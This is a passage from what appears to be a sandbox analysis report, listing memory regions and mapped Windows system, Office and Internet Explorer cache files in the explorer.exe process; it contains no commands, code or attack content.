"{40fc8d7d-05ed-4feb-b03b-6c100659ef5c}.2.ver0x0000000000000001.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{40FC8D7D-05ED-4FEB-B03B-6C100659EF5C}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{40fc8d7d-05ed-4feb-b03b-6c100659ef5c}.2.ver0x0000000000000001.db") Region: id = 1712 start_va = 0x3e80000 end_va = 0x3e83fff entry_point = 0x3e80000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 1713 start_va = 0x3e90000 end_va = 0x3e90fff entry_point = 0x3e90000 region_type = mapped_file name = "{b33c4f4b-938b-4cb1-bc05-f090b0a61a1a}.2.ver0x0000000000000001.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{B33C4F4B-938B-4CB1-BC05-F090B0A61A1A}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{b33c4f4b-938b-4cb1-bc05-f090b0a61a1a}.2.ver0x0000000000000001.db") Region: id = 1714 start_va = 0x3ea0000 end_va = 0x3ea3fff entry_point = 0x3ea0000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 1715 start_va = 0x3eb0000 end_va = 0x3eb0fff entry_point = 0x3eb0000 region_type = mapped_file name = "{d299adbb-3c80-401e-9a81-68ee95177a1c}.2.ver0x0000000000000001.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{D299ADBB-3C80-401E-9A81-68EE95177A1C}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{d299adbb-3c80-401e-9a81-68ee95177a1c}.2.ver0x0000000000000001.db") Region: id = 1716 start_va = 0x3ec0000 end_va = 0x3ec0fff entry_point = 0x0 region_type = private name = "private_0x0000000003ec0000" filename = "" Region: id = 1717 start_va = 0x3ed0000 end_va = 0x3ed3fff entry_point = 0x3ed0000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 1718 start_va = 0x3ef0000 end_va = 0x3f6ffff entry_point = 0x0 region_type = private name = "private_0x0000000003ef0000" filename = "" Region: id = 1719 start_va = 0x3f70000 end_va = 0x3f70fff entry_point = 0x0 region_type = private name = "private_0x0000000003f70000" filename = "" Region: id = 1720 start_va = 0x3f80000 end_va = 0x3f81fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003f80000" filename = "" Region: id = 1721 start_va = 0x3f90000 end_va = 0x3f91fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003f90000" filename = "" Region: id = 1722 start_va = 0x3fa0000 end_va = 0x3feffff entry_point = 0x0 region_type = private name = "private_0x0000000003fa0000" filename = "" Region: id = 1723 start_va = 0x3ff0000 end_va = 0x3ff1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003ff0000" filename = "" Region: id = 1724 start_va = 0x4000000 end_va = 0x4001fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004000000" filename = "" Region: id = 1725 start_va = 0x4010000 end_va = 0x4011fff entry_point = 0x0 region_type = private name = "private_0x0000000004010000" filename = "" Region: id = 1726 start_va = 0x4020000 end_va = 0x4021fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004020000" filename = "" Region: id = 1727 start_va = 0x4030000 end_va = 0x4030fff entry_point = 0x4030000 region_type = mapped_file name = "oleaccrc.dll" filename = "\\Windows\\System32\\oleaccrc.dll" (normalized: "c:\\windows\\system32\\oleaccrc.dll") Region: id = 1728 start_va = 0x4040000 end_va = 0x4041fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004040000" filename = "" Region: id = 1729 start_va = 0x4050000 end_va = 0x4051fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004050000" filename = "" Region: id = 1730 start_va = 0x4080000 end_va = 0x4086fff entry_point = 0x4080000 region_type = mapped_file name = "bthprops.cpl.mui" filename = "\\Windows\\System32\\en-US\\bthprops.cpl.mui" (normalized: "c:\\windows\\system32\\en-us\\bthprops.cpl.mui") Region: id = 1731 start_va = 0x4090000 end_va = 0x4091fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004090000" filename = "" Region: id = 1732 start_va = 0x40a0000 end_va = 0x40a1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000040a0000" filename = "" Region: id = 1733 start_va = 0x40b0000 end_va = 0x40b3fff entry_point = 0x40b0000 region_type = mapped_file name = "prnfldr.dll.mui" filename = "\\Windows\\System32\\en-US\\prnfldr.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\prnfldr.dll.mui") Region: id = 1734 start_va = 0x40c0000 end_va = 0x40d0fff entry_point = 0x40c0000 region_type = mapped_file name = "netshell.dll.mui" filename = "\\Windows\\System32\\en-US\\netshell.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\netshell.dll.mui") Region: id = 1735 start_va = 0x40f0000 end_va = 0x40f0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000040f0000" filename = "" Region: id = 1736 start_va = 0x4110000 end_va = 0x4110fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004110000" filename = "" Region: id = 1737 start_va = 0x4120000 end_va = 0x419ffff entry_point = 0x0 region_type = private name = "private_0x0000000004120000" filename = "" Region: id = 1738 start_va = 0x41a0000 end_va = 0x41a0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000041a0000" filename = "" Region: id = 1739 start_va = 0x41b0000 end_va = 0x41b0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000041b0000" filename = "" Region: id = 1740 start_va = 0x41c0000 end_va = 0x423ffff entry_point = 0x0 region_type = private name = "private_0x00000000041c0000" filename = "" Region: id = 1741 start_va = 0x4240000 end_va = 0x4240fff entry_point = 0x0 region_type = private name = "private_0x0000000004240000" filename = "" Region: id = 1742 start_va = 0x4250000 end_va = 0x4250fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004250000" filename = "" Region: id = 1743 start_va = 0x4260000 end_va = 0x42dffff entry_point = 0x0 region_type = private name = "private_0x0000000004260000" filename = "" Region: id = 1744 start_va = 0x4320000 end_va = 0x4333fff entry_point = 0x4320000 region_type = mapped_file name = "index.dat" filename = "\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\index.dat") Region: id = 1745 start_va = 0x4340000 end_va = 0x4347fff entry_point = 0x4340000 region_type = mapped_file name = "index.dat" filename = "\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\microsoft\\windows\\cookies\\index.dat") Region: id = 1746 start_va = 0x43e0000 end_va = 0x441ffff entry_point = 0x43e0000 region_type = mapped_file name = "index.dat" filename = "\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache\\index.dat" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\microsoft\\windows\\ietldcache\\index.dat") Region: id = 1747 start_va = 0x4420000 end_va = 0x4420fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004420000" filename = "" Region: id = 1748 start_va = 0x4440000 end_va = 0x44bffff entry_point = 0x0 region_type = private name = "private_0x0000000004440000" filename = "" Region: id = 1749 start_va = 0x4530000 end_va = 0x45affff entry_point = 0x0 region_type = private name = "private_0x0000000004530000" filename = "" Region: id = 1750 start_va = 0x45b0000 end_va = 0x47affff entry_point = 0x0 region_type = private name = "private_0x00000000045b0000" filename = "" Region: id = 1751 start_va = 0x4820000 end_va = 0x489ffff entry_point = 0x0 region_type = private name = "private_0x0000000004820000" filename = "" Region: id = 1752 start_va = 0x48b0000 end_va = 0x492ffff entry_point = 0x0 region_type = private name = "private_0x00000000048b0000" filename = "" Region: id = 1753 start_va = 0x4a20000 end_va = 0x4a9ffff entry_point = 0x0 region_type = private name = "private_0x0000000004a20000" filename = "" Region: id = 1754 start_va = 0x4ae0000 end_va = 0x4b5ffff entry_point = 0x0 region_type = private name = "private_0x0000000004ae0000" filename = "" Region: id = 1755 start_va = 0x4bb0000 end_va = 0x4c2ffff entry_point = 0x0 region_type = private name = "private_0x0000000004bb0000" filename = "" Region: id = 1756 start_va = 0x4d00000 end_va = 0x4d7ffff entry_point = 0x0 region_type = private name = "private_0x0000000004d00000" filename = "" Region: id = 1757 start_va = 0x5150000 end_va = 0x5552fff entry_point = 0x0 region_type = private name = "private_0x0000000005150000" filename = "" Region: id = 1758 start_va = 0x5570000 end_va = 0x55effff entry_point = 0x0 region_type = private name = "private_0x0000000005570000" filename = "" Region: id = 1759 start_va = 0x5660000 end_va = 0x56dffff entry_point = 0x0 region_type = private name = "private_0x0000000005660000" filename = "" Region: id = 1760 start_va = 0x5730000 end_va = 0x57affff entry_point = 0x0 region_type = private name = "private_0x0000000005730000" filename = "" Region: id = 1761 start_va = 0x5830000 end_va = 0x58affff entry_point = 0x0 region_type = private name = "private_0x0000000005830000" filename = "" Region: id = 1762 start_va = 0x5970000 end_va = 0x6cc4fff entry_point = 0x5970000 region_type = mapped_file name = "imageres.dll" filename = "\\Windows\\System32\\imageres.dll" (normalized: "c:\\windows\\system32\\imageres.dll") Region: id = 1763 start_va = 0x6d30000 end_va = 0x6daffff entry_point = 0x0 region_type = private name = "private_0x0000000006d30000" filename = "" Region: id = 1764 start_va = 0x6dd0000 end_va = 0x6e4ffff entry_point = 0x0 region_type = private name = "private_0x0000000006dd0000" filename = "" Region: id = 1765 start_va = 0x6ec0000 end_va = 0x6ecffff entry_point = 0x0 region_type = private name = "private_0x0000000006ec0000" filename = "" Region: id = 1766 start_va = 0x6f10000 end_va = 0x6f8ffff entry_point = 0x0 region_type = private name = "private_0x0000000006f10000" filename = "" Region: id = 1767 start_va = 0x7040000 end_va = 0x70bffff entry_point = 0x0 region_type = private name = "private_0x0000000007040000" filename = "" Region: id = 1768 start_va = 0x70c0000 end_va = 0x717ffff entry_point = 0x70c0000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 1769 start_va = 0x7240000 end_va = 0x724ffff entry_point = 0x0 region_type = private name = "private_0x0000000007240000" filename = "" Region: id = 1770 start_va = 0x7280000 end_va = 0x72fffff entry_point = 0x0 region_type = private name = "private_0x0000000007280000" filename = "" Region: id = 1771 start_va = 0x73e0000 end_va = 0x73effff entry_point = 0x0 region_type = private name = "private_0x00000000073e0000" filename = "" Region: id = 1772 start_va = 0x7400000 end_va = 0x747ffff entry_point = 0x0 region_type = private name = "private_0x0000000007400000" filename = "" Region: id = 1773 start_va = 0x7510000 end_va = 0x758ffff entry_point = 0x0 region_type = private name = "private_0x0000000007510000" filename = "" Region: id = 1774 start_va = 0x7620000 end_va = 0x769ffff entry_point = 0x0 region_type = private name = "private_0x0000000007620000" filename = "" Region: id = 1775 start_va = 0x76a0000 end_va = 0x779ffff entry_point = 0x0 region_type = private name = "private_0x00000000076a0000" filename = "" Region: id = 1776 start_va = 0x87a0000 end_va = 0x8b9ffff entry_point = 0x0 region_type = private name = "private_0x00000000087a0000" filename = "" Region: id = 1777 start_va = 0x94a0000 end_va = 0x979ffff entry_point = 0x0 region_type = private name = "private_0x00000000094a0000" filename = "" Region: id = 1778 start_va = 0x735f0000 end_va = 0x735f5fff entry_point = 0x735f1010 region_type = mapped_file name = "ksuser.dll" filename = "\\Windows\\System32\\ksuser.dll" (normalized: "c:\\windows\\system32\\ksuser.dll") Region: id = 1779 start_va = 0x73d50000 end_va = 0x73d7afff entry_point = 0x73d5fe08 region_type = mapped_file name = "atl100.dll" filename = "\\Windows\\System32\\atl100.dll" (normalized: "c:\\windows\\system32\\atl100.dll") Region: id = 1780 start_va = 0x73d80000 end_va = 0x73e17fff entry_point = 0x73dc71d0 region_type = mapped_file name = "msvcp100.dll" filename = "\\Windows\\System32\\msvcp100.dll" (normalized: "c:\\windows\\system32\\msvcp100.dll") Region: id = 1781 start_va = 0x73e20000 end_va = 0x73ef1fff entry_point = 0x73e414e4 region_type = mapped_file name = "msvcr100.dll" filename = "\\Windows\\System32\\msvcr100.dll" (normalized: "c:\\windows\\system32\\msvcr100.dll") Region: id = 1782 start_va = 0x75080000 end_va = 0x75162fff entry_point = 0x75080000 region_type = mapped_file name = "fxsresm.dll" filename = "\\Windows\\System32\\FXSRESM.dll" (normalized: "c:\\windows\\system32\\fxsresm.dll") Region: id = 1783 start_va = 0x77320000 end_va = 0x7743efff entry_point = 0x77335ea0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1784 start_va = 0x77440000 end_va = 0x77539fff entry_point = 0x7745a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 1785 start_va = 0x77540000 end_va = 0x776e8fff entry_point = 0x77540000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1786 start_va = 0x77710000 end_va = 0x77716fff entry_point = 0x7771106c region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\System32\\psapi.dll" (normalized: "c:\\windows\\system32\\psapi.dll") Region: id = 1787 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1788 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1789 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1790 start_va = 0xff090000 end_va = 0xff34ffff entry_point = 0xff0bb790 region_type = mapped_file name = "explorer.exe" filename = "\\Windows\\explorer.exe" (normalized: "c:\\windows\\explorer.exe") Region: id = 1791 start_va = 0x7fef43b0000 end_va = 0x7fef43eafff entry_point = 0x7fef43b1238 region_type = mapped_file name = "mlang.dll" filename = "\\Windows\\System32\\mlang.dll" (normalized: "c:\\windows\\system32\\mlang.dll") Region: id = 1792 start_va = 0x7fef4890000 end_va = 0x7fef492cfff entry_point = 0x7fef491d52c region_type = mapped_file name = "fxsapi.dll" filename = "\\Windows\\System32\\FXSAPI.dll" (normalized: "c:\\windows\\system32\\fxsapi.dll") Region: id = 1793 start_va = 0x7fef4930000 end_va = 0x7fef4a06fff entry_point = 0x7fef4931254 region_type = mapped_file name = "fxsst.dll" filename = "\\Windows\\System32\\FXSST.dll" (normalized: "c:\\windows\\system32\\fxsst.dll") Region: id = 1794 start_va = 0x7fef4a10000 end_va = 0x7fef4a40fff entry_point = 0x7fef4a11b24 region_type = mapped_file name = "provsvc.dll" filename = "\\Windows\\System32\\provsvc.dll" (normalized: "c:\\windows\\system32\\provsvc.dll") Region: id = 1795 start_va = 0x7fef4a50000 end_va = 0x7fef4aa4fff entry_point = 0x7fef4a526e4 region_type = mapped_file name = "hgcpl.dll" filename = "\\Windows\\System32\\hgcpl.dll" (normalized: "c:\\windows\\system32\\hgcpl.dll") Region: id = 1796 start_va = 0x7fef4ab0000 end_va = 0x7fef4b2efff entry_point = 0x7fef4ab1070 region_type = mapped_file name = "imapi2.dll" filename = "\\Windows\\System32\\imapi2.dll" (normalized: "c:\\windows\\system32\\imapi2.dll") Region: id = 1797 start_va = 0x7fef4b30000 end_va = 0x7fef4bf1fff entry_point = 0x7fef4b504b4 region_type = mapped_file name = "actioncenter.dll" filename = "\\Windows\\System32\\ActionCenter.dll" (normalized: "c:\\windows\\system32\\actioncenter.dll") Region: id = 1798 start_va = 0x7fef4c00000 end_va = 0x7fef4c53fff entry_point = 0x7fef4c0104c region_type = mapped_file name = "oleacc.dll" filename = "\\Windows\\System32\\oleacc.dll" (normalized: "c:\\windows\\system32\\oleacc.dll") Region: id = 1799 start_va = 0x7fef4c60000 end_va = 0x7fef5816fff entry_point = 0x7fef4c61bd8 region_type = mapped_file name = "ieframe.dll" filename = "\\Windows\\System32\\ieframe.dll" (normalized: "c:\\windows\\system32\\ieframe.dll") Region: id = 1800 start_va = 0x7fef5820000 end_va = 0x7fef58d4fff entry_point = 0x7fef5841cd0 region_type = mapped_file name = "bthprops.cpl" filename = "\\Windows\\System32\\bthprops.cpl" (normalized: "c:\\windows\\system32\\bthprops.cpl") Region: id = 1801 start_va = 0x7fef58e0000 end_va = 0x7fef5937fff entry_point = 0x7fef58e30f0 region_type = mapped_file name = "srchadmin.dll" filename = "\\Windows\\System32\\srchadmin.dll" (normalized: "c:\\windows\\system32\\srchadmin.dll") Region: id = 1802 start_va = 0x7fef5940000 end_va = 0x7fef597efff entry_point = 0x7fef59412c0 region_type = mapped_file name = "cscobj.dll" filename = "\\Windows\\System32\\cscobj.dll" (normalized: "c:\\windows\\system32\\cscobj.dll") Region: id = 1803 start_va = 0x7fef5980000 end_va = 0x7fef59c4fff entry_point = 0x7fef5984190 region_type = mapped_file name = "qagent.dll" filename = "\\Windows\\System32\\QAGENT.DLL" (normalized: "c:\\windows\\system32\\qagent.dll") Region: id = 1804 start_va = 0x7fef59d0000 end_va = 0x7fef5a2dfff entry_point = 0x7fef5a0a7fc region_type = mapped_file name = "wwanapi.dll" filename = "\\Windows\\System32\\WWanAPI.dll" (normalized: "c:\\windows\\system32\\wwanapi.dll") Region: id = 1805 start_va = 0x7fef5a30000 end_va = 0x7fef5a4ffff entry_point = 0x7fef5a31010 region_type = mapped_file name = "wlanapi.dll" filename = "\\Windows\\System32\\wlanapi.dll" (normalized: "c:\\windows\\system32\\wlanapi.dll") Region: id = 1806 start_va = 0x7fef5c80000 end_va = 0x7fef5c9efff entry_point = 0x7fef5c83580 region_type = mapped_file name = "qutil.dll" filename = "\\Windows\\System32\\QUTIL.DLL" (normalized: "c:\\windows\\system32\\qutil.dll") Region: id = 1807 start_va = 0x7fef5ca0000 end_va = 0x7fef5e5cfff entry_point = 0x7fef5ca1010 region_type = mapped_file name = "pnidui.dll" filename = "\\Windows\\System32\\pnidui.dll" (normalized: "c:\\windows\\system32\\pnidui.dll") Region: id = 1808 start_va = 0x7fef5e60000 end_va = 0x7fef60eafff entry_point = 0x7fef5e66f5c region_type = mapped_file name = "netshell.dll" filename = "\\Windows\\System32\\netshell.dll" (normalized: "c:\\windows\\system32\\netshell.dll") Region: id = 1809 start_va = 0x7fef6100000 end_va = 0x7fef6120fff entry_point = 0x7fef61073a0 region_type = mapped_file name = "uianimation.dll" filename = "\\Windows\\System32\\UIAnimation.dll" (normalized: "c:\\windows\\system32\\uianimation.dll") Region: id = 1810 start_va = 0x7fef6440000 end_va = 0x7fef666afff entry_point = 0x7fef6441f00 region_type = mapped_file name = "synccenter.dll" filename = "\\Windows\\System32\\SyncCenter.dll" (normalized: "c:\\windows\\system32\\synccenter.dll") Region: id = 1811 start_va = 0x7fef6670000 end_va = 0x7fef6678fff entry_point = 0x7fef6672f98 region_type = mapped_file name = "midimap.dll" filename = "\\Windows\\System32\\midimap.dll" (normalized: "c:\\windows\\system32\\midimap.dll") Region: id = 1812 start_va = 0x7fef6680000 end_va = 0x7fef6697fff entry_point = 0x7fef6681060 region_type = mapped_file name = "msacm32.dll" filename = "\\Windows\\System32\\msacm32.dll" (normalized: "c:\\windows\\system32\\msacm32.dll") Region: id = 1813 start_va = 0x7fef66a0000 end_va = 0x7fef66a9fff entry_point = 0x7fef66a49f0 region_type = mapped_file name = "msacm32.drv" filename = "\\Windows\\System32\\msacm32.drv" (normalized: "c:\\windows\\system32\\msacm32.drv") Region: id = 1814 start_va = 0x7fef66b0000 end_va = 0x7fef66fefff entry_point = 0x7fef66b2764 region_type = mapped_file name = "audioses.dll" filename = "\\Windows\\System32\\AudioSes.dll" (normalized: "c:\\windows\\system32\\audioses.dll") Region: id = 1815 start_va = 0x7fef6710000 end_va = 0x7fef674afff entry_point = 0x7fef6737600 region_type = mapped_file name = "wdmaud.drv" filename = "\\Windows\\System32\\wdmaud.drv" (normalized: "c:\\windows\\system32\\wdmaud.drv") Region: id = 1816 start_va = 0x7fef6750000 end_va = 0x7fef678afff entry_point = 0x7fef67522f0 region_type = mapped_file name = "winmm.dll" filename = "\\Windows\\System32\\winmm.dll" (normalized: "c:\\windows\\system32\\winmm.dll") Region: id = 1817 start_va = 0x7fef6790000 end_va = 0x7fef679bfff entry_point = 0x7fef679602c region_type = mapped_file name = "npmproxy.dll" filename = "\\Windows\\System32\\npmproxy.dll" (normalized: "c:\\windows\\system32\\npmproxy.dll") Region: id = 1818 start_va = 0x7fef68d0000 end_va = 0x7fef698cfff entry_point = 0x7fef68d1ea4 region_type = mapped_file name = "portabledeviceapi.dll" filename = "\\Windows\\System32\\PortableDeviceApi.dll" (normalized: "c:\\windows\\system32\\portabledeviceapi.dll") Region: id = 1819 start_va = 0x7fef6b20000 end_va = 0x7fef6cbbfff entry_point = 0x7fef6b21030 region_type = mapped_file name = "networkexplorer.dll" filename = "\\Windows\\System32\\networkexplorer.dll" (normalized: "c:\\windows\\system32\\networkexplorer.dll") Region: id = 1820 start_va = 0x7fef6dd0000 end_va = 0x7fef6e4efff entry_point = 0x7fef6e2385c region_type = mapped_file name = "tiptsf.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ink\\tiptsf.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tiptsf.dll") Region: id = 1821 start_va = 0x7fef6e50000 end_va = 0x7fef6e8afff entry_point = 0x7fef6e51070 region_type = mapped_file name = "msls31.dll" filename = "\\Windows\\System32\\msls31.dll" (normalized: "c:\\windows\\system32\\msls31.dll") Region: id = 1822 start_va = 0x7fef6e90000 end_va = 0x7fef6e9cfff entry_point = 0x7fef6e97104 region_type = mapped_file name = "wwapi.dll" filename = "\\Windows\\System32\\wwapi.dll" (normalized: "c:\\windows\\system32\\wwapi.dll") Region: id = 1823 start_va = 0x7fef6ea0000 end_va = 0x7fef6ed8fff entry_point = 0x7fef6ea1240 region_type = mapped_file name = "portabledevicetypes.dll" filename = "\\Windows\\System32\\PortableDeviceTypes.dll" (normalized: "c:\\windows\\system32\\portabledevicetypes.dll") Region: id = 1824 start_va = 0x7fef6ee0000 end_va = 0x7fef6f53fff entry_point = 0x7fef6f154c8 region_type = mapped_file name = "dxp.dll" filename = "\\Windows\\System32\\DXP.dll" (normalized: "c:\\windows\\system32\\dxp.dll") Region: id = 1825 start_va = 0x7fef6f60000 end_va = 0x7fef6f68fff entry_point = 0x7fef6f635c0 region_type = mapped_file name = "msiltcfg.dll" filename = "\\Windows\\System32\\msiltcfg.dll" (normalized: "c:\\windows\\system32\\msiltcfg.dll") Region: id = 1826 start_va = 0x7fef6f70000 end_va = 0x7fef6febfff entry_point = 0x7fef6f711d4 region_type = mapped_file name = "wer.dll" filename = "\\Windows\\System32\\wer.dll" (normalized: "c:\\windows\\system32\\wer.dll") Region: id = 1827 start_va = 0x7fef6ff0000 end_va = 0x7fef7292fff entry_point = 0x7fef6ff3498 region_type = mapped_file name = "gameux.dll" filename = "\\Windows\\System32\\gameux.dll" (normalized: "c:\\windows\\system32\\gameux.dll") Region: id = 1828 start_va = 0x7fef72a0000 end_va = 0x7fef72abfff entry_point = 0x7fef72a1380 region_type = mapped_file name = "linkinfo.dll" filename = "\\Windows\\System32\\linkinfo.dll" (normalized: "c:\\windows\\system32\\linkinfo.dll") Region: id = 1829 start_va = 0x7fef72b0000 end_va = 0x7fef72e3fff entry_point = 0x7fef72b1890 region_type = mapped_file name = "shdocvw.dll" filename = "\\Windows\\System32\\shdocvw.dll" (normalized: "c:\\windows\\system32\\shdocvw.dll") Region: id = 1830 start_va = 0x7fef7300000 end_va = 0x7fef73edfff entry_point = 0x7fef73012a0 region_type = mapped_file name = "actxprxy.dll" filename = "\\Windows\\System32\\actxprxy.dll" (normalized: "c:\\windows\\system32\\actxprxy.dll") Region: id = 1831 start_va = 0x7fef7440000 end_va = 0x7fef74c2fff entry_point = 0x7fef746692c region_type = mapped_file name = "timedate.cpl" filename = "\\Windows\\System32\\timedate.cpl" (normalized: "c:\\windows\\system32\\timedate.cpl") Region: id = 1832 start_va = 0x7fef7c60000 end_va = 0x7fef7cd0fff entry_point = 0x7fef7c9ecc4 region_type = mapped_file name = "winspool.drv" filename = "\\Windows\\System32\\winspool.drv" (normalized: "c:\\windows\\system32\\winspool.drv") Region: id = 1833 start_va = 0x7fef8030000 end_va = 0x7fef80a3fff entry_point = 0x7fef80366f0 region_type = mapped_file name = "netprofm.dll" filename = "\\Windows\\System32\\netprofm.dll" (normalized: "c:\\windows\\system32\\netprofm.dll") Region: id = 1834 start_va = 0x7fef8ab0000 end_va = 0x7fef8ab7fff entry_point = 0x7fef8ab1030 region_type = mapped_file name = "iconcodecservice.dll" filename = "\\Windows\\System32\\IconCodecService.dll" (normalized: "c:\\windows\\system32\\iconcodecservice.dll") Region: id = 1835 start_va = 0x7fef8ac0000 end_va = 0x7fef8b3ffff entry_point = 0x7fef8ac4a8c region_type = mapped_file name = "ntshrui.dll" filename = "\\Windows\\System32\\ntshrui.dll" (normalized: "c:\\windows\\system32\\ntshrui.dll") Region: id = 1836 start_va = 0x7fef8b40000 end_va = 0x7fef8b4efff entry_point = 0x7fef8b41040 region_type = mapped_file name = "cscapi.dll" filename = "\\Windows\\System32\\cscapi.dll" (normalized: "c:\\windows\\system32\\cscapi.dll") Region: id = 1837 start_va = 0x7fef8b50000 end_va = 0x7fef8b5bfff entry_point = 0x7fef8b51070 region_type = mapped_file name = "cscdll.dll" filename = "\\Windows\\System32\\cscdll.dll" (normalized: "c:\\windows\\system32\\cscdll.dll") Region: id = 1838 start_va = 0x7fef8b60000 end_va = 0x7fef8bddfff entry_point = 0x7fef8b61304 region_type = mapped_file name = "cscui.dll" filename = "\\Windows\\System32\\cscui.dll" (normalized: "c:\\windows\\system32\\cscui.dll") Region: id = 1839 start_va = 0x7fef8be0000 end_va = 0x7fef8c14fff entry_point = 0x7fef8bec59c region_type = mapped_file name = "ehstorshell.dll" filename = "\\Windows\\System32\\EhStorShell.dll" (normalized: "c:\\windows\\system32\\ehstorshell.dll") Region: id = 1840 start_va = 0x7fef8c20000 end_va = 0x7fef9497fff entry_point = 0x7fef8c20000 region_type = mapped_file name = "grooveintlresource.dll" filename = "\\PROGRA~1\\MICROS~1\\Office15\\1033\\GrooveIntlResource.dll" (normalized: "c:\\progra~1\\micros~1\\office15\\1033\\grooveintlresource.dll") Region: id = 1841 start_va = 0x7fef94a0000 end_va = 0x7fef999ffff entry_point = 0x7fef94a0000 region_type = mapped_file name = "office.odf" filename = "\\Program Files\\Common Files\\Microsoft Shared\\OFFICE15\\Cultures\\OFFICE.ODF" (normalized: "c:\\program files\\common files\\microsoft shared\\office15\\cultures\\office.odf") Region: id = 1842 start_va = 0x7fef99a0000 end_va = 0x7fef9cb5fff entry_point = 0x7fef99a3e98 region_type = mapped_file name = "msi.dll" filename = "\\Windows\\System32\\msi.dll" (normalized: "c:\\windows\\system32\\msi.dll") Region: id = 1843 start_va = 0x7fef9cc0000 end_va = 0x7fef9efcfff entry_point = 0x7fef9cc1000 region_type = mapped_file name = "grooveex.dll" filename = "\\PROGRA~1\\MICROS~1\\Office15\\GROOVEEX.DLL" (normalized: "c:\\progra~1\\micros~1\\office15\\grooveex.dll") Region: id = 1844 start_va = 0x7fef9f00000 end_va = 0x7fef9f56fff entry_point = 0x7fef9f01118 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\System32\\apphelp.dll" (normalized: "c:\\windows\\system32\\apphelp.dll") Region: id = 1845 start_va = 0x7fef9f60000 end_va = 0x7fefa129fff entry_point = 0x7fef9f67a60 region_type = mapped_file name = "explorerframe.dll" filename = "\\Windows\\System32\\ExplorerFrame.dll" (normalized: "c:\\windows\\system32\\explorerframe.dll") Region: id = 1846 start_va = 0x7fefa4e0000 end_va = 0x7fefa4fffff entry_point = 0x7fefa4e1298 region_type = mapped_file name = "wpdshserviceobj.dll" filename = "\\Windows\\System32\\WPDShServiceObj.dll" (normalized: "c:\\windows\\system32\\wpdshserviceobj.dll") Region: id = 1847 start_va = 0x7fefa8b0000 end_va = 0x7fefa8b6fff entry_point = 0x7fefa8b1b24 region_type = mapped_file name = "wlanutil.dll" filename = "\\Windows\\System32\\wlanutil.dll" (normalized: "c:\\windows\\system32\\wlanutil.dll") Region: id = 1848 start_va = 0x7fefa8c0000 end_va = 0x7fefa8cffff entry_point = 0x7fefa8c95dc region_type = mapped_file name = "alttab.dll" filename = "\\Windows\\System32\\AltTab.dll" (normalized: "c:\\windows\\system32\\alttab.dll") Region: id = 1849 start_va = 0x7fefa8d0000 end_va = 0x7fefa8dafff entry_point = 0x7fefa8d1030 region_type = mapped_file name = "ehsso.dll" filename = "\\Windows\\ehome\\ehSSO.dll" (normalized: "c:\\windows\\ehome\\ehsso.dll") Region: id = 1850 start_va = 0x7fefa8e0000 end_va = 